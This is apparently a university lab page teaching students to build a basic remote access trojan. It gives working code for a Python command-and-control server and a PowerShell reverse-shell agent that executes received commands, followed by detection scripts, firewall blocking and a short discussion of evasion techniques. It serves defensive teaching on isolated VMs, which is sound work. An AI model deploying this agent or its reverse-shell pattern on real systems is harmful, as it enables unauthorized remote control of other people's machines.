Skip to main content

Lab 10.3: Simple RAT with Sockets

Learning Objectives​

By the end of this lab, you will be able to:

  • Understand the client-server architecture of remote control tools
  • Develop a basic C2 server in Python
  • Create a client (agent) in PowerShell
  • Understand malware communication techniques
  • Detect and block this type of communication

Estimated Duration​

60 minutes

Prerequisites​

  • Lab 10.1 and 10.2 completed
  • 2 VMs (attacker and target) on the same network
  • Python 3 installed on the attacker VM
  • PowerShell on the target VM

Professional Context​

RATs (Remote Access Trojans) and C2 (Command and Control) are:

  • Used by Red Teams to simulate attacks
  • At the core of most modern malware
  • Essential to understand for detection

This lab teaches you to DETECT these threats, not to use them maliciously.


THIS LAB IS STRICTLY EDUCATIONAL

AUTHORIZED ONLY:

  • On your isolated test VMs
  • Without Internet connection
  • Within the course framework

STRICTLY PROHIBITED:

  • On unauthorized systems
  • With Internet connection
  • For malicious purposes

LEGAL CONSEQUENCES:

  • Unauthorized access = Crime (Criminal Code)
  • Prison and massive fines
  • Permanent criminal record

By continuing this lab, you agree to these conditions.


Part 1: C2 Architecture​

Step 1.1: Components of a RAT​

[C2 Server]                    [Agent/Client]
(Attacker) (Target)
| |
|<------ 1. Connection --------->|
| |
|------- 2. Command --------->|
| |
|<------ 3. Result ----------|
| |
|------- 4. New cmd ----->|
| ... |

Step 1.2: Types of Communication​

TypeDirectionAdvantageDisadvantage
Bind ShellAttacker -> TargetSimpleBlocked by firewall
Reverse ShellTarget -> AttackerBypass firewallRequires accessible IP
HTTP C2Target -> AttackerDiscreetMore complex

We will create a simple Reverse Shell.


Part 2: C2 Server (Python)​

Step 2.1: Create the Server​

On the "attacker" VM, create serveur_c2.py:

#!/usr/bin/env python3
"""
Educational C2 Server - DO NOT USE OUTSIDE THE LAB
"""
import socket
import sys

def banner():
print("=" * 50)
print(" EDUCATIONAL C2 SERVER - LAB 10.3")
print(" Usage: python serveur_c2.py <port>")
print("=" * 50)
print()

def start_server(port):
# Create the socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

try:
server.bind(("0.0.0.0", port))
server.listen(1)
print(f"[*] Server listening on port {port}")
print("[*] Waiting for a connection...")

# Accept a connection
client, address = server.accept()
print(f"[+] Connection received from {address[0]}:{address[1]}")
print()
print("Type your commands (type 'exit' to quit):")
print("-" * 50)

while True:
# Read the command
command = input("C2> ")

if command.lower() == "exit":
client.send(b"exit\n")
break

if not command:
continue

# Send the command
client.send((command + "\n").encode())

# Receive the result
result = b""
while True:
chunk = client.recv(4096)
if not chunk or chunk.endswith(b"END_OF_OUTPUT\n"):
result += chunk.replace(b"END_OF_OUTPUT\n", b"")
break
result += chunk

# Display the result
print(result.decode('utf-8', errors='ignore'))

client.close()

except KeyboardInterrupt:
print("\n[!] Stopping the server...")
except Exception as e:
print(f"[!] Error: {e}")
finally:
server.close()

if __name__ == "__main__":
banner()

if len(sys.argv) != 2:
print("Usage: python serveur_c2.py <port>")
sys.exit(1)

port = int(sys.argv[1])
start_server(port)

Step 2.2: Launch the Server​

python3 serveur_c2.py 4444

Questions:

  1. On which port is the server listening?
  2. What happens if the port is already in use?

Part 3: Agent/Client (PowerShell)​

Step 3.1: Create the Agent​

On the "target" VM, create agent.ps1:

# Educational C2 Agent - DO NOT USE OUTSIDE THE LAB
# =====================================================

param(
[Parameter(Mandatory=$true)]
[string]$ServerIP,

[Parameter(Mandatory=$true)]
[int]$ServerPort
)

Write-Host "=== EDUCATIONAL C2 AGENT - LAB 10.3 ===" -ForegroundColor Cyan
Write-Host "Connecting to $ServerIP`:$ServerPort..." -ForegroundColor Yellow

try {
# Create the TCP connection
$client = New-Object System.Net.Sockets.TcpClient($ServerIP, $ServerPort)
$stream = $client.GetStream()
$reader = New-Object System.IO.StreamReader($stream)
$writer = New-Object System.IO.StreamWriter($stream)
$writer.AutoFlush = $true

Write-Host "Connected to the C2 server!" -ForegroundColor Green
Write-Host "Waiting for commands..." -ForegroundColor Yellow

while ($true) {
# Read the command from the server
$command = $reader.ReadLine()

if ($command -eq "exit" -or $command -eq $null) {
Write-Host "Disconnecting..." -ForegroundColor Red
break
}

Write-Host "Command received: $command" -ForegroundColor Gray

# Execute the command
try {
$output = Invoke-Expression $command 2>&1 | Out-String
if ([string]::IsNullOrEmpty($output)) {
$output = "[Command executed with no output]"
}
} catch {
$output = "Error: $_"
}

# Send the result
$writer.WriteLine($output)
$writer.WriteLine("END_OF_OUTPUT")
}

} catch {
Write-Host "Connection error: $_" -ForegroundColor Red
} finally {
if ($client) { $client.Close() }
Write-Host "Agent terminated." -ForegroundColor Red
}

Step 3.2: Launch the Agent​

.\agent.ps1 -ServerIP "192.168.100.10" -ServerPort 4444

Replace the IP with that of your server VM.


Part 4: Communication Test​

Step 4.1: Test Sequence​

  1. Server VM: Launch the server

    python3 serveur_c2.py 4444
  2. Client VM: Launch the agent

    .\agent.ps1 -ServerIP "SERVER_IP" -ServerPort 4444
  3. On the server, test commands:

    C2> whoami
    C2> hostname
    C2> Get-Process | Select-Object -First 5
    C2> Get-Date
    C2> exit

Step 4.2: Document the Communication​

Questions: 3. Are the commands executed on the client? 4. Do the results return to the server? 5. How long does a round trip take?


Part 5: Detection and Defense​

Step 5.1: Detect the Connection​

On the client VM, while the agent is active:

# View established connections
Get-NetTCPConnection -State Established |
Where-Object { $_.RemotePort -eq 4444 -or $_.LocalPort -eq 4444 } |
Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, OwningProcess

# Identify the process
Get-Process -Id (Get-NetTCPConnection -RemotePort 4444).OwningProcess

Step 5.2: Detect in Logs​

# Network connection events (requires active auditing)
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 5156 # Windows Filtering Platform
} -MaxEvents 10 -ErrorAction SilentlyContinue

Step 5.3: Block with Firewall​

# Block outbound connections on port 4444
New-NetFirewallRule -DisplayName "Block C2 Port 4444" `
-Direction Outbound `
-LocalPort 4444 `
-Protocol TCP `
-Action Block

# Verify the rule
Get-NetFirewallRule -DisplayName "Block C2*"

# Remove the rule (after the lab)
Remove-NetFirewallRule -DisplayName "Block C2 Port 4444"

Step 5.4: Automatic Detection Script​

# Script to detect suspicious connections
Write-Host "=== DETECTING SUSPICIOUS CONNECTIONS ===" -ForegroundColor Cyan

$suspectPorts = @(4444, 5555, 6666, 1337, 31337, 8080, 8443)

$connections = Get-NetTCPConnection -State Established | Where-Object {
$_.RemotePort -in $suspectPorts -or $_.LocalPort -in $suspectPorts
}

if ($connections) {
Write-Host "`n[ALERT] Suspicious connections detected:" -ForegroundColor Red
foreach ($conn in $connections) {
$proc = Get-Process -Id $conn.OwningProcess -ErrorAction SilentlyContinue
Write-Host " Port: $($conn.RemotePort) | Process: $($proc.Name) (PID: $($conn.OwningProcess))" -ForegroundColor Yellow
}
} else {
Write-Host "`n[OK] No suspicious connections detected" -ForegroundColor Green
}

# Check PowerShell with network connections
$psSessions = Get-NetTCPConnection | Where-Object {
$proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
$proc.Name -eq "powershell" -and $_.State -eq "Established"
}

if ($psSessions) {
Write-Host "`n[ALERT] PowerShell has active network connections!" -ForegroundColor Red
$psSessions | Format-Table LocalAddress, LocalPort, RemoteAddress, RemotePort
}

Questions: 6. Is your agent detected? 7. Does the firewall blocking work?


Part 6: Improvements (Discussion)​

Step 6.1: How Real Malware Avoids Detection​

Common techniques (for informational purposes):

  • Use of standard ports (80, 443)
  • Encryption of communications (HTTPS)
  • Irregular beaconing
  • Domain fronting
  • DNS tunneling

Step 6.2: How Defenders Respond​

  • Behavioral analysis (EDR)
  • SSL/TLS inspection
  • Network anomaly detection
  • Threat intelligence
  • Sandbox analysis

Question: 8. How would you detect a C2 using HTTPS on port 443?


Cleanup​

IMPORTANT: After the lab, delete the files:

# On the client VM
Remove-Item .\agent.ps1 -Force

# On the server VM
rm serveur_c2.py

Remove the added firewall rules:

Remove-NetFirewallRule -DisplayName "Block C2*"

Deliverables​

  1. Screenshots:

    • Server listening
    • Agent connected
    • Commands executed
    • Connection detection
  2. Answers to the 8 questions

  3. Analysis (2 pages):

    • RAT architecture
    • Weaknesses of this simple RAT
    • How real malware would improve it
    • Recommended detection methods

Evaluation Criteria​

CriteriaPoints
Functional server/client25%
Established communication20%
Detection implemented25%
Analysis and understanding30%

Reference Commands​

# Connections
Get-NetTCPConnection -State Established
netstat -ano | findstr "ESTABLISHED"

# Firewall
New-NetFirewallRule -DisplayName "Name" -Direction Outbound -LocalPort X -Action Block
Get-NetFirewallRule
Remove-NetFirewallRule -DisplayName "Name"

# Network processes
Get-Process -Id (Get-NetTCPConnection).OwningProcess | Select-Object -Unique
# Python server
python3 serveur_c2.py 4444

# Check ports (Linux)
netstat -tlnp | grep 4444
ss -tlnp | grep 4444

Additional Resources​


Conclusion​

This lab showed you:

  1. How a basic RAT works
  2. The client-server architecture of C2
  3. Detection techniques
  4. The importance of network monitoring

The goal is to UNDERSTAND to better DETECT and DEFEND.


Lab developed as part of the Operating Systems course - MODULE 10